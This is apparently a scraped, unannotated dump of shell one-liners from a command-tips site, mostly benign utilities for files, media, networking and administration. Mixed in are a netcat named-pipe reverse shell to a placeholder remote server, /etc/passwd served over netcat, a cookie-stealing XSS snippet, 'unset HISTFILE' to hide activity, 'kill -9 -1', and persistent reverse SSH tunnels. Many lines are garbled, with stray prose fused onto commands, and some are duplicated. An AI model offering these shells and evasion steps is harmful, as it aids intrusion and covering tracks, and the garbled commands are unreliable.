curl ifconfig.me
wtf is <acronym>
sudo dd if=/dev/sdc bs=4096 | pv -s 2G | sudo dd bs=4096 of=~/USB_BLACK_BACKUP.IMG
echo -ne "<shellcode>" | x86dis -e 0 -s intel
export FIGNORE=.svn
wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;"
dd bs=1k if=image.nrg of=image.iso skip=300
pronounce(){ wget -qO- $(wget -qO- "http://dictionary.reference.com/browse/$@" | grep 'soundUrl' | head -n 1 | sed 's|.*soundUrl=\([^&]*\)&.*|\1|' | sed 's/%3A/:/g;s/%2F/\//g') | mpg123 -; }
grepp() { [ $# -eq 1 ] && perl -00ne "print if /$1/i" || perl -00ne "print if /$1/i" < "$2";}
pv /dev/zero|ssh $host 'cat > /dev/null'
^W-L
stty sane
find /proc -user myuser -maxdepth 1 -type d -mtime +7 -exec basename {} \; | xargs kill -9
<Shift + W>
hdparm -t /dev/sda
rename -v 's/ /_/g' *
rsync -az /home/user/test user@sshServer:/tmp/
id="dMH0bHeiRNg";mplayer -fs http://youtube.com/get_video.php?video_id=$id\&t=$(curl -s http://www.youtube.com/watch?v=$id | sed -n 's/.*, "t": "\([^"]*\)", .*/\1/p')
ifconfig -a | perl -nle'/(\d+\.\d+\.\d+\.\d+)/ && print $1'
for x in `jot - 0 2400 25`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done > commandlinefu.txt
man ls | col -b > ~/Desktop/man_ls.txt
for k in `git branch|perl -pe s/^..//`;do echo -e `git show --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" $k|head -n 1`\\t$k;done|sort -r
who -b
for f in *.flv; do ffmpeg -y -i "$f" -f image2 -ss 10 -vframes 1 -an "${f%.flv}.jpg"; done
screen -d -m [<command>]
watch -n 1 "netstat -tpanl | grep ESTABLISHED"
curl dict://dict.org/d:something
Ctrl+S Ctrl+Q
while true; do [ "$(ping -c1W1w1 server-or-ip.com | awk '/received/ {print $4}')" != 1 ] && beep; sleep 1; done
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
with the result!}sort
seq 50| awk 'BEGIN {a=1; b=1} {print a; c=a+b; a=b; b=c}'
somecommand 2>&1 >> logfile | tee -a logfile
:r !command
grep --color=auto -iRnH "$search_word" $directory
date -d '2 weeks ago Saturday' +%Y-%m-%d
curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]//g'
cat .ssh/id_rsa.pub | ssh hostname 'cat >> .ssh/authorized_keys'
while [ ! -f /tmp/stop ]; do ssh -o ExitOnForwardFailure=yes -R 2222:localhost:22 target "while nc -zv localhost 2222; do sleep 5; done"; sleep 5;done
fuser [portnumber]/[proto]
awk '/pattern1/ && /pattern2/ && !/pattern3/ {print}'
yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
tar czv file1 file2 folder1 | ssh user@server tar zxv -C /destination
lsof +D <dirname>
var='123456789'; echo ${var:<start_pos>:<offset>}
find . -name \*.php -exec php -l "{}" \;
ssh -f -L3389:<RDP_HOST>:3389 <SSH_PROXY> "sleep 10" && rdesktop -T'<WINDOW_TITLE>' -uAdministrator -g800x600 -a8 -rsound:off -rclipboard:PRIMARYCLIPBOARD -5 localhost
sync && echo 1 > /proc/sys/vm/drop_caches
ssh user@remote-host "DISPLAY=:0.0 import -window root -format png -"|display -format png -
lsmac() { ifconfig -a | sed '/eth\|wl/!d;s/ Link.*HWaddr//' ; }
ssh -NR 0.0.0.0:2222:127.0.0.1:22 [email protected]
MIN=10;for ((i=MIN*60;i>=0;i--));do echo -ne "\r$(date -d"0+$i sec" +%H:%M:%S)";sleep 1;done
Ctrl + [
Confirm() { read -sn 1 -p "$1 [Y/N]? "; [[ $REPLY = [Yy] ]]; }
echo rm *.txt
lynx -dump http://www.domain.com | awk '/http/{print $2}'
sed -n '4p'
dmidecode -t bios
ssh user@remote-host "DISPLAY=:0.0 import -window root -format png -"|display -format png -
echo $PATH | tr \: \\n
lsof -P | grep ':3000'
pgrep -u `id -u` firefox-bin || find ~/.mozilla/firefox -name '*.sqlite'|(while read -e f; do echo 'vacuum;'|sqlite3 "$f" ; done)
lsof +D <dirname>
Ctrl + [
svn st | cut -c 8- | sed 's/^/\"/;s/$/\"/' | xargs tar -czvf ../backup.tgz
lynx -dump http://www.domain.com | awk '/http/{print $2}'
ssh -f -L3389:<RDP_HOST>:3389 <SSH_PROXY> "sleep 10" && rdesktop -T'<WINDOW_TITLE>' -uAdministrator -g800x600 -a8 -rsound:off -rclipboard:PRIMARYCLIPBOARD -5 localhost
curl -s "http://www.geody.com/geoip.php?ip=$(curl -s icanhazip.com)" | sed '/^IP:/!d;s/<[^>][^>]*>//g'
while true; do inotifywait -r -e MODIFY dir/ && make; done;
sed -n '4p'
sync && echo 1 > /proc/sys/vm/drop_caches
ps aux --sort=%mem,%cpu
find . -type l ! -exec test -e {} \; -print
lsmac() { ifconfig -a | sed '/eth\|wl/!d;s/ Link.*HWaddr//' ; }
shuf -n1 file.txt
find -L /proc/*/fd -links 0 2>/dev/null
convert string ZZZZ to 1, 2, 3, ...):let i=0 | 'a,'bg/ZZZZ/s/ZZZZ/\=i/ | let i=i+1
grep -i --color=auto
mplayer -framedrop -vfm ffmpeg -lavdopts lowres=1:fast:skiploopfilter=all
Confirm() { read -sn 1 -p "$1 [Y/N]? "; [[ $REPLY = [Yy] ]]; }
find . -type d -empty -delete
dpkg --get-selections > LIST_FILE
while true; do echo -ne "$(date)\r"; sleep 1; done
echo "screen -DR" >> ~/.bash_profile
echo rm *.txt
find -name '*wma' -exec ffmpeg -i {} -acodec vorbis -ab 128k {}.ogg \;
find . -name \*.php -exec php -l "{}" \;
find ./ -type f -exec sed -i 's/\t/ /g' {} \;
^r in bash begins a reverse-search-history with command completion
arecord -f dat | ssh -C user@host aplay -f dat
:w !sudo tee > /dev/null %
sudo chattr +i <file>
perl -pi.bk -e's/foo/bar/g' file1 file2 fileN
svn status |grep '\?' |awk '{print $2}'| xargs svn add
f something breaks the connection temporarilyautossh -f -M 20000 -D 8000 somehost -N
wget -O - http://www.commandlinefu.com/commands/browse/rss 2>/dev/null | awk '/\s*<title/ {z=match($0, /CDATA\[([^\]]*)\]/, b);print b[1]} /\s*<description/ {c=match($0, /code>(.*)<\/code>/, d);print d[1]"\n"} '
arecord -q -f cd -r 44100 -c2 -t raw | lame -S -x -h -b 128 - `date +%Y%m%d%H%M`.mp3
kill -9 -1
ssh-keygen -l -f ~/.ssh/known_hosts
ls /usr/bin | xargs whatis | grep -v nothing | less
cat /var/lib/dpkg/info/*.list > /tmp/listin ; ls /proc/*/exe |xargs -l readlink | grep -xvFf /tmp/listin; rm /tmp/listin
echo "$(( 0x10 )) - $(( 010 )) = $(( 0x10 - 010 ))"
tcptraceroute www.google.com
fold -s -w 90 file.txt
cat my.ps | nc -q 1 hp4550.mynet.xx 9100
cat WAR_AND_PEACE_By_LeoTolstoi.txt | tr -cs "[:alnum:]" "\n"| tr "[:lower:]" "[:upper:]" | awk '{h[$1]++}END{for (i in h){print h[i]" "i}}'|sort -nr | cat -n | head -n 30
egrep -i "^[0-9a-f]{4,} .*$*" $(locate CharName.pm) | while read h d; do /usr/bin/printf "\U$(printf "%08x" 0x$h)\tU+%s\t%s\n" $h "$d"; done
watch "dmesg |tail -15"
echo "vertical text" | grep -o '.'
Debian machinesawk '/sshd/ && /Failed/ {gsub(/invalid user/,""); printf "%-12s %-16s %s-%s-%s\n", $9, $11, $1, $2, $3}' /var/log/auth.log
touch {1..10}.txt
dpkg -S $( which ls )
ls | while read f; do mv "$f" "${f// /_}";done
script /dev/null | tee /dev/pts/3
< /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c6
rename .oldextension .newextension *.oldextension
for i in $(ls *.od{tp]); do unoconv -f pdf $i; done
who loves mum
rsecho "?????, these are the umlauted vowels I sing to you. Oh, and sometimes ?, but I don't sing that one cause it doesn't rhyme."
tar -czvf - /src/dir | ssh remotehost "(cd /dst/dir ; tar -xzvf -)"
ssh -L :: -L :: @
ifconfig | perl -nle'/dr:(\S+)/ && print $1'
netstat -anp |grep 'tcp\|udp' | awk '{print $5}' | sed s/::ffff:// | cut -d: -f1 | sort | uniq -c | sort -n
rename 's/^/prefix/' *
mkdir $(date +%Y%m%d)
gs -q -sPAPERSIZE=letter -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf `ls *.pdf`
ontouchdo(){ while :; do a=$(stat -c%Y "$1"); [ "$b" != "$a" ] && b="$a" && sh -c "$2"; sleep 1; done }
ctrl-z
screen -raAd
svn ls -R | egrep -v -e "\/$" | xargs svn blame | awk '{print $2}' | sort | uniq -c | sort -r
sleeper(){ while `ps -p $1 &>/dev/null`; do echo -n "${2:-.}"; sleep ${3:-1}; done; }; export -f sleeper
your own machinemultitail -l 'ssh machine1 "tail -f /var/log/apache2/error.log"' -l 'ssh machine2 "tail -f /var/log/apache2/error.log"'
sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g' | xargs echo -e
<ctrl+z> bg
rename 's/foo/bar/g' *
echo -n 'text to be encrypted' | openssl md5
apt-get install `ssh root@host_you_want_to_clone "dpkg -l | grep ii" | awk '{print $2}'`
sed -r 's/([a-z]+)([A-Z][a-z]+)/\1_\l\2/g' file.txt
while [ 1 ]; do banner 'ze missiles, zey are coming! ' | while IFS="\n" read l; do echo "$l"; sleep 0.01; done; done
es contain single or multiple whitespaces and replace each such occurrence with a single underscore.find ./ -name '*' -exec rename 's/\s+/_/g' {} \;
rm -rf `find . -type d -name .svn`
ssh -C -Y -l$USER xserver.mynet.xx 'Xnest -geometry 1900x1150 -query localhost'
pinfo
find . -type f | wc -l
hdparm -i[I] /dev/sda
d="www.dafont.com/alpha.php?";for c in {a..z}; do l=`curl -s "${d}lettre=${c}"|sed -n 's/.*ge=\([0-9]\{2\}\).*/\1/p'`;for((p=1;p<=l;p++));do for u in `curl -s "${d}page=${p}&lettre=${c}"|egrep -o "http\S*.com/dl/\?f=\w*"`;do aria2c "${u}";done;done;done
:set ff=unix
cat /etc/passwd | openssl aes-256-cbc -a -e -pass pass:password | netcat -l -p 8080
tail -fs 1 somefile
find /path/to/dir -type f -print0 | xargs -0 rm
[ "$1" == "--help" ] && { sed -n -e '/^# Usage:/,/^$/ s/^# \?//p' < $0; exit; }
for i in `seq 0 100`;do timeout 6 dialog --gauge "Install..." 6 40 "$i";done
read -ra words <<< "<sentence>" && echo "${words[@]^}"
cd $(dirname $(find ~ -name emails.txt))
yes "$(seq 1 255)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
grep -Eio '([[:alnum:]_.-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})'
perl -wlne'/title>([^<]+)/i&&rename$ARGV,"$1.html"' *.html
!date
calc(){ awk "BEGIN{ print $* }" ;}
read -p "Which station? "; mplayer --reallyquiet -vo none -ao sdl http://somafm.com/startstream=${REPLY}.pls
nmap -T4 -sP 192.168.2.0/24 && egrep "00:00:00:00:00:00" /proc/net/arp
dmidecode -t 17 | awk -F":" '/Speed/ { print $2 }'
dd if=/dev/zero of=testfile.seek seek=5242879 bs=1 count=1
curl -s 'http://download.finance.yahoo.com/d/quotes.csv?s=csco&f=l1'
for file in <directory A>/*; do rm <directory B>/`basename $file`; done
vimdiff <file> scp://[<user>@]<host>/<file>
curl -sd q=Network http://www.commandlinefu.com/search/autocomplete |html2text -width 100
!$
touch $2;firefox -print $1 -printmode PNG -printfile $2
any_script.sh < <(some command)
perl -e 'for(;;){@d=split("",`date +%H%M%S`);print"\r";for(0..5){printf"%.4b ",$d[$_]}sleep 1}'
dig +short @resolver1.opendns.com myip.opendns.com
curl -n --ssl-reqd --mail-from "<[email protected]>" --mail-rcpt "<[email protected]>" --url smtps://smtp.gmail.com:465 -T file.txt
for i in {1..5}; do cp test{,$i};done
echo "Terrorist threat level: `od -An -N1 -i /dev/random`"
xdg-open http://gmail.com
echo "Body goes here" | mutt -s "A subject" -a /path/to/file.tar.gz [email protected]
/usr/bin/man $* || w3m -dump http://google.com/search?q="$*"\&btnI | less
ssh -R 5497:127.0.0.1:22 -p 62220 [email protected]
!!command
[ `date --date='next day' +'%B'` == `date +'%B'` ] || echo 'end of month'
rsync --progress file1 file2
ps aux | grep "[s]ome_text"
say -v Vicki "Hi, I'm a mac"
DISPLAY=:0.0 XAUTHORITY=~/.Xauthority notify-send test
echo $?
tar czv Pictures | split -d -a 3 -b 16M - pics.tar.gz.
awk '!a[$0]++' file
mknod backpipe p && nc remote_server 1337 0<backpipe | /bin/bash 1>backpipe
echo foo bar foobar barfoo && echo !$ !^ !:3 !* && echo /usr/bin/foobar&& echo !$:h !$:t
pwgen -Bs 10 1
find . -iname '*.jpg' -exec echo '<img src="{}">' \; > gallery.html
tar -cf - /home/user/test | gzip -c | ssh user@sshServer 'cd /tmp; tar xfz -'
echo 'wget url' | at 12:00
pydoc -p 8888 & gnome-open http://localhost:8888
j=0;while true; do let j=$j+1; for i in $(seq 0 20 100); do echo $i;sleep 1; done | dialog --gauge "Install part $j : `sed $(perl -e "print int rand(99999)")"q;d" /usr/share/dict/words`" 6 40;done
dd if=/dev/cdrom | pv -s 700m | md5sum | tee test.md5
alt + 1 .
grep "^V<TAB>" your_file
compgen -A function
for f in *;do mv "$f" "${f// /_}";done
pkill -x firefox
alias launchpadkey="sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys"
down4me() { wget -qO - "http://www.downforeveryoneorjustme.com/$1" | sed '/just you/!d;s/<[^>]*>//g' ; }
translate() { lng1="$1";lng2="$2";shift;shift; wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=${@// /+}&langpair=$lng1|$lng2" | sed 's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; }
variablefind . -name '*.jar' -printf '%f:'
ted file.find /home/dir -mtime +1 -print -exec gzip -9 {} \; -exec mv {}.gz {}_`date +%F`.gz \;
sedsed -e "/$USER/d;s/:.*//g" /etc/group | sed -e :a -e '/$/N;s/\n/ /;ta'
ffmpeg -i filename.flv
aria2c -s 4 http://my/url
wajig large
atb() { l=$(tar tf $1); if [ $(echo "$l" | wc -l) -eq $(echo "$l" | grep $(echo "$l" | head -n1) | wc -l) ]; then tar xf $1; else mkdir ${1%.tar.gz} && tar xf $1 -C ${1%.tar.gz}; fi ;}
while read server; do ssh -n user@$server "command"; done < servers.txt
rdesktop -a24 -uAdministrator -pPassword -r clipboard:CLIPBOARD -r disk:share=~/share -z -g 1280x900 -0 $@ &
while :;do killall -USR1 dd;sleep 1;done
tail -F file
taskset -cp <core> <pid>
split -b 19m file Nameforpart
for i in {1..254}; do ping -c 1 -W 1 10.1.1.$i | grep 'from'; done
TF=`mktemp` && man -t YOUR_COMMAND >> $TF && gnome-open $TF
aptitude remove $(dpkg -l|egrep '^ii linux-(im|he)'|awk '{print $2}'|grep -v `uname -r`)
indent -kr hello.c
v/sda).blockdev --rereadpt /dev/sda
unset HISTFILE
t)VBoxManage internalcommands converttoraw winxp.vdi winxp.raw && qemu-img convert -O vmdk winxp.raw winxp.vmdk && rm winxp.raw
rename 's/\d+/sprintf("%04d",$&)/e' *.jpg
while true; do X=$Y; sleep 1; Y=$(ifconfig eth0|grep RX\ bytes|awk '{ print $2 }'|cut -d : -f 2); echo "$(( Y-X )) bps"; done
mencoder -forceidx -ovc copy -oac copy -o output.avi video1.avi video2.avi
fold -s <filename>
cat /etc/*-release
complete -W "$(echo $(grep '^ssh ' .bash_history | sort -u | sed 's/^ssh //'))" ssh
pkill -KILL -u username
setterm -powersave off -blank 0
(IFS=:;for p in $PATH; do test -d $p || echo $p; done)
python -c 'import this'
echo $(date +%s) > start-time; URL=http://www.google.com; while true; do echo $(curl -L --w %{speed_download} -o/dev/null -s $URL) >> bps; sleep 10; done &
awk '{ $5=""; print }' file
lower() { echo ${@,,}; }
openssl rand -hex 6 | sed 's/\(..\)/\1:/g; s/.$//'
pgrep command_name
lsof -p $(pidof firefox) | awk '/.mozilla/ { s = int($7/(2^20)); if(s>0) print (s)" MB -- "$9 | "sort -rn" }'
url=http://www.youtube.com/watch?v=V5bYDhZBFLA; youtube-dl -b $url; mplayer $(ls ${url##*=}*| tail -n1) -ss 00:57 -endpos 10 -vo gif89a:fps=5:output=output.gif -vf scale=400:300 -nosound
> file
curl http://sohowww.nascom.nasa.gov/data/realtime/eit_195/512/latest.jpg | xli -onroot -fill stdin
alias screensaver='for ((;;)); do echo -ne "\033[$((1+RANDOM%LINES));$((1+RANDOM%COLUMNS))H\033[$((RANDOM%2));3$((RANDOM%8))m$((RANDOM%10))"; sleep 0.1 ; done'
ls -lct /etc | tail -1 | awk '{print $6, $7}'
md5sum <<<"test"
read day month year < <(date +'%d %m %y')
netstat -plunt
screen /dev/tty<device> 9600
xargs -n 2 mv < file_with_colums_of_names
alias rc='ssh ${MEDIAPCHOSTNAME} env DISPLAY=:0.0 rhythmbox-client --no-start'
sed '/^#.*DEBUG.*/ s/^#//' $FILE
$ vim ... :help 42
echo ${fullpath##*/}
MIN=1 && for i in $(seq $(($MIN*60)) -1 1); do echo -n "$i, "; sleep 1; done; echo -e "\n\nBOOOM! Time to start."
alias rot13="tr '[A-Za-z]' '[N-ZA-Mn-za-m]'"
urls=('www.ubuntu.com' 'google.com'); for i in ${urls[@]}; do http_code=$(curl -I -s $i -w %{http_code}); echo $i status: ${http_code:9:3}; done
script /tmp/log.txt
convmv -r -f ISO-8859-1 -t UTF-8 --notest *
rsync -rtvu --modify-window=1 --progress /media/SOURCE/ /media/TARGET/
rsync -rv <src> <dst> --progress
cat /sys/class/net/eth0/address
find <directory path> -mtime +365 -and -not -type d -delete
<Alt-Shift-#>
perl -e 'print 1, 2, 3' > /dev/full
du -sk * |sort -rn |head
ssh user@host "cat /path/to/backup/backupfile.tar.bz2" |tar jpxf -
find . -maxdepth 1 -type d | sort
curl -s "http://feeds.delicious.com/v2/json?count=5" | python -m json.tool | less -R
echo $(shuf -i 1-49 | head -n6 | sort -n)
vimtutor
nc -l -p 2000 < song.mp3
alias ':q'='exit'
for I in `echo "show databases;" | mysql | grep -v Database`; do mysqldump $I > "$I.sql"; done
import -pause 5 -window root desktop_screenshot.jpg
python -c 'print "-"*50'
:n,m w newfile.txt
awk -F "=| "
pwgen --alt-phonics --capitalize 9 10
iptables -A INPUT -s 222.35.138.25/32 -j DROP
scp user@hostb:file user@hostc:
dd if=/dev/zero of=/swapfile bs=1M count=64; chmod 600 /swapfile; mkswap /swapfile; swapon /swapfile
ls | while read ITEM; do echo "$ITEM"; done
your systemgunzip -c /var/log/auth.log.*.gz | cat - /var/log/auth.log /var/log/auth.log.0 | grep "Invalid user" | awk '{print $8;}' | sort | uniq -c | less
find . -name "*jpg" -exec jpeginfo -c {} \; | grep -E "WARNING|ERROR"
echo "SELECT * FROM table; " | mysql -u root -p${MYSQLROOTPW} databasename | sed 's/\t/","/g;s/^/"/;s/$/"/;s/\n//g' > outfile.csv
encfs ~/.crypt ~/crypt
read -a ARR <<<'world domination now!'; echo ${ARR[2]};
export IFS=$(echo -e "\n")
command > >(tee stdout.log) 2> >(tee stderr.log >&2)
jhead -autorot *.jpg
export HISTTIMEFORMAT="%h/%d-%H:%M:%S "
awk '(length > n) {n = length} END {print n}'
xterm -display :12.0 -e ssh -X user@server &
<ctrl+j>stty sane<ctrl+j>
gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dNOPAUSE -dQUIET -dBATCH -sOutputFile=output.pdf input.pdf
iconv -f437 -tutf8 asciiart.nfo
ssh root@`for ((i=100; i<=110; i++));do arp -a 192.168.1.$i; done | grep 00:35:cf:56:b2:2g | awk '{print $2}' | sed -e 's/(//' -e 's/)//'`
strace -ff -e write=1,2 -s 1024 -p PID 2>&1 | grep "^ |" | cut -c11-60 | sed -e 's/ //g' | xxd -r -p
cd() { if [ -z "$1" ]; then command cd; else if [ -f "$1" ]; then command cd $(dirname "$1"); else command cd "$1"; fi; fi; }
sed 's/[ \t]*$//' < emails.txt | tr 'A-Z' 'a-z' | sort | uniq > emails_sorted.txt
gcc -dM -E - < /dev/null
while inotifywait -e modify /tmp/myfile; do firefox; done
zmv '(<1->).jpg' '${(l:3::0:)1}.jpg'
curl -s 'http://checkip.dyndns.org' | sed 's/.*Current IP Address: \([0-9\.]*\).*/\1/g'
while [ 1 ]; do curl -s -u username:password http://twitter.com/statuses/friends_timeline.rss|grep title|sed -ne 's/<\/*title>//gp' | head -n 6 |festival --tts; sleep 300;done
grep --include=*.py -lir "delete" .
mysqldump -q --skip-opt --force --log-error=dbname_error.log -uroot -pmysqlpassword dbname | ssh -C user@sshserver 'cd /path/to/backup/dir; cat > dbname.sql'
tar cf - /path/to/data | 7z a -si archivename.tar.7z
mailutil transfer {imap.gmail.com/ssl/[email protected]} Gmail/
sudo strace -pXXXX -e trace=file
mecp () { scp "$@" ${SSH_CLIENT%% *}:Desktop/; }
alias vim="vim -p"
ldapsearch -LLL -H ldap://activedirectory.example.com:389 -b 'dc=example,dc=com' -D 'DOMAIN\Joe.Bloggs' -w 'p@ssw0rd' '(sAMAccountName=joe.bloggs)'
fortune | cowsay
PS3="Enter a number: "; select f in *;do $EDITOR $f; break; done
exec 2>&1
dos2unix <filenames>
mmv 'banana_*_*.asc' 'banana_#2_#1.asc'
xrandr --auto
for i in $(seq 1 50) ; do echo Iteration $i ; done
sh -c 'S=askapache R=htaccess; find . -mount -type f|xargs -P5 -iFF grep -l -m1 "$S" FF|xargs -P5 -iFF sed -i -e "s%${S}%${R}%g" FF'
shopt -s histappend ; PROMPT_COMMAND="history -a;$PROMPT_COMMAND"
ps -e -o pcpu,cpu,nice,state,cputime,args --sort pcpu | sed "/^ 0.0 /d"
tcs -f 8859-1 -t utf /some/file
:%!xxd
Ctrl + u
echo "${0%/*}"
$ grep -or string path/ | wc -l
echo "message" | smbclient -M NAME_OF_THE_COMPUTER
alias pi='`cat ~/.pi | grep ' ; alias addpi='echo "cd `pwd`" >> ~/.pi'
sudo arp -s 192.168.1.200 00:35:cf:56:b2:2g temp && ssh [email protected]
cat </dev/tcp/time.nist.gov/13
find /path/to/images -name '*.JPG' -exec rename "s/.JPG/.jpg/g" \{\} \;
readlink -f /proc/$$/exe
heir path and typed by color, running from current directoryfind ./ -size +10M -type f -print0 | xargs -0 ls -Ssh1 --color
returning the address of the .png.imgur(){ $*|convert label:@- png:-|curl -F "image=@-" -F "key=1913b4ac473c692372d108209958fd15" http://api.imgur.com/2/upload.xml|grep -Eo "<original>(.)*</original>" | grep -Eo "http://i.imgur.com/[^<]*";}
wget -S -O/dev/null "INSERT_URL_HERE" 2>&1 | grep Server
sudo rmmod pcspkr
!?<string>?
silent(){ $@ > /dev/null 2>&1; }; alias shh=silent
ffmpeg -i <filename>.flv -vn <filename>.mp3
swapoff -a ; swapon -a
<<<"k=1024; m=k*k; g=k*m; g" bc
timeout.NFSPATH=/mountpoint TIMEOUT=5; perl -e "alarm $TIMEOUT; exec @ARGV" "test -d $NFSPATH" || (umount -fl $NFSPATH; mount $NFSPATH)
lsof /folder
find -type f -exec mv {} . \;
column -t /proc/mounts
tac file.txt
find . -iname \*.mp3 -print0 | xargs -0 mp3gain -krd 6 && vorbisgain -rfs .
ng.export QQ=$(mktemp -d);(cd $QQ; curl -s -O http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2400:25];for i in $(perl -ne 'print "$1\n" if( /^(\w+\(\))/ )' *|sort -u);do grep -h -m1 -B1 $i *; done)|grep -v '^--' > clf.sh;rm -r $QQ
:%y *
curl http://www.commandlinefu.com/commands/by/<your username>/rss|gzip ->commandlinefu-contribs-backup-$(date +%Y-%m-%d-%H.%M.%S).rss.gz
script
curl -s ip.appspot.com
iptables -t nat -A PREROUTING -p tcp --dport [port of your choosing] -j REDIRECT --to-ports 22
tput smcup; echo "Doing some things..."; sleep 2; tput rmcup
du -cks * | sort -rn | while read size fname; do for unit in k M G T P E Z Y; do if [ $size -lt 1024 ]; then echo -e "${size}${unit}\t${fname}"; break; fi; size=$((size/1024)); done; done
wget -p --convert-links http://www.foo.com
ls -d */
watch -n60 du /var/log/messages
alias alert='notify-send -i /usr/share/icons/gnome/32x32/apps/gnome-terminal.png "[$?] $(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/;\s*alert$//'\'')"'
find -printf '%u %g\n' | sort | uniq
ls /home | head -64 | barcode -t 4x16 | lpr
nusedBlocks
cal 09 1752
watch -n 1 'pstack 12345 | tac'
perl -e 'while(1){print"> ";eval<>}'
sed -i '/myexpression/d' /path/to/file.txt
for file in *.jpg; do convert "$file" -resize 800000@ -quality 80 "small.$file"; done
ruby -e "i=0;loop{puts ' '*(29*(Math.sin(i)/2+1))+'|'*(29*(Math.cos(i)/2+1)); i+=0.1}"
convert -adjoin -page A4 *.jpeg multipage.pdf
echo 'some command' | batch
readlink -f ../super/symlink_bon/ahoy
cd "$(mktemp -d)"
wget -e robots=off -E -H -k -K -p http://<page>
ssh -o UserKnownHostsFile=/dev/null [email protected]
man !!:0
ctrl + r
ls -l /etc/**/*killall
ssh <host> 'tar -cz /<folder>/<subfolder>' | tar -xvz
mencoder -ss <start point> -endpos <time from start point> -oac copy -ovc copy <invid> -o <outvid>
echo "aplay path/to/song" |at [time]
badblocks -n -s /dev/sdX
sudo socat TCP4-LISTEN:80,bind=127.0.0.1,fork EXEC:'echo "HTTP/1.1 503 Service Unavailable";'
find public_html/ -type d -exec chmod 755 {} +
for i in *; do echo "<li><a href='$i'>$i</a>"; done > index.html
while true ; do nc -l 80 < index.html ; done
:%d
lvextend -l +100%FREE /dev/VolGroup00/LogVol00
newcommand $(!!)
du -hs */
ssh vm-user@`VBoxManage guestproperty get "vm-name" "/VirtualBox/GuestInfo/Net/0/V4/IP" | awk '{ print $2 }'`
alias lvim="vim -c \"normal '0\""
Ctrl-R <search-text>
find . ! -name <FILENAME> -delete
sudo dmidecode | more
git commit --amend
sed -e '/\\$/{:0;N;s/\\\n//;t0}'
sysctl vm.swappiness=50
mplayer tv:// -tv driver=v4l:width=352:height=288
username=matthewbauer; curl -s http://www.commandlinefu.com/commands/by/$username/json | tr '{' '\n' | grep -Eo ',"votes":"[0-9\-]+","' | grep -Eo '[0-9\-]+' | tr '\n' '+' | sed 's/+$/\n/' | bc
grep -hIr :name ~/.mozilla/firefox/*.default/extensions | tr '<>=' '"""' | cut -f3 -d'"' | sort -u
arr[i*100+j]="whatever"
(sed 's/^/x+=/' [yourfile] ; echo x) | bc
sed -i 's/^.*DEBUG.*/#&/' $file
say() { mplayer "http://translate.google.com/translate_tts?q=$1"; }
sed -n '/^function h\(\)/,/^}/p' script.sh
mail -s "subject" [email protected] <emailbody.txt -- -f [email protected] -F 'From Display Name'
mplayer -dumpstream -dumpfile "yourfile" -playlist "URL"
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]//g"
pidof -x -o $$ ${0##*/} && exit
dig -t txt -c chaos VERSION.BIND @<dns.server.com>
e)sudo du -ks $(ls -d */) | sort -nr | cut -f2 | xargs -d '\n' du -sh 2> /dev/null
echo alias grep=\'grep --color=auto\' >> ~/.bashrc ; . ~/.bashrc
cp -i FILENAME{,.`date +%Y%m%d`}
pacman -Q|wc -l
rsync -e "/usr/bin/ssh -p22" -a --progress --stats --delete -l -z -v -r -p /root/files/ user@remote_server:/root/files/
IFS=$'\n' && for f in `find . -type f -exec md5sum "{}" \;`; do echo $f | sed -r 's/^[^ ]+/Checking:/'; echo $f | cut -f1 -d' ' | netcat hash.cymru.com 43 ; done
nmap -PN -T4 -p139,445 -n -v --script=smb-check-vulns --script-args safe=1 192.168.0.1-254
lftp -ulogin,passwd -e "mirror --reverse /my/from/dir/ /ftp/target/dir/" ftp.server.xx
wodim cdimage.iso
openssl s_client -starttls smtp -crlf -connect 127.0.0.1:25
free -mto
getent [group|hosts|networks|passwd|protocols|services] [keyword]
mysqldump --add-drop-table -uroot -p "DB_name" | replace CHARSET=latin1 CHARSET=utf8 | iconv -f latin1 -t utf8 | mysql -uroot -p "DB_name"
specific samba usersudo mount -t cifs -o user,username="samba username" //$ip_or_host/$sharename /mnt
netstat -tn | awk 'NR>2 {print $6}' | sort | uniq -c | sort -rn
taskset 0x00000001 yes > /dev/null &
iperf -s
du -cs * .[^\.]* | sort -n
find . -type d -exec env d="$dest_root" sh -c ' exec mkdir -p -- "$d/$1"' '{}' '{}' \;
GREP_OPTIONS='-D skip --binary-files=without-match --ignore-case'
wc -L
sync; echo 3 | sudo tee /proc/sys/vm/drop_caches
for i in `du --max-depth=1 $HOME | sort -n -r | awk '{print $1 ":" $2}'`; do size=`echo $i | awk -F: '{print $1}'`; dir=`echo $i | awk -F: '{print $NF}'`; size2=$(($size/1024)); echo "$size2 MB used by $dir"; done | head -n 10
perl -pi -e 's/<a href="#" onmouseover="console.log('xss! '+document.cookie)" style="position:absolute;height:0;width:0;background:transparent;font-weight:normal;">xss</a>/<\/a>/g'
find . -regex '.*\(h\|cpp\)'
sage to stderrdie(){ result=$1;shift;[ -n "$*" ]&&printf "%s\n" "$*" >&2;exit $result;}
bsdiff <oldfile> <newfile> <patchfile>
find /path -type l
dstat -ta
cat file | tr "\n" " "
sed -e 's/ *$//' ~/.bash_history | sort | uniq -cd | sort -nr | head
ls -I "*.gz"
sox Klaxon.mp3 -t wav - |ssh [email protected] paplay
df / | awk '{print $1}' | grep dev | xargs tune2fs -l | grep create
dd if=/path/inputfile | pv | dd of=/path/outpufile
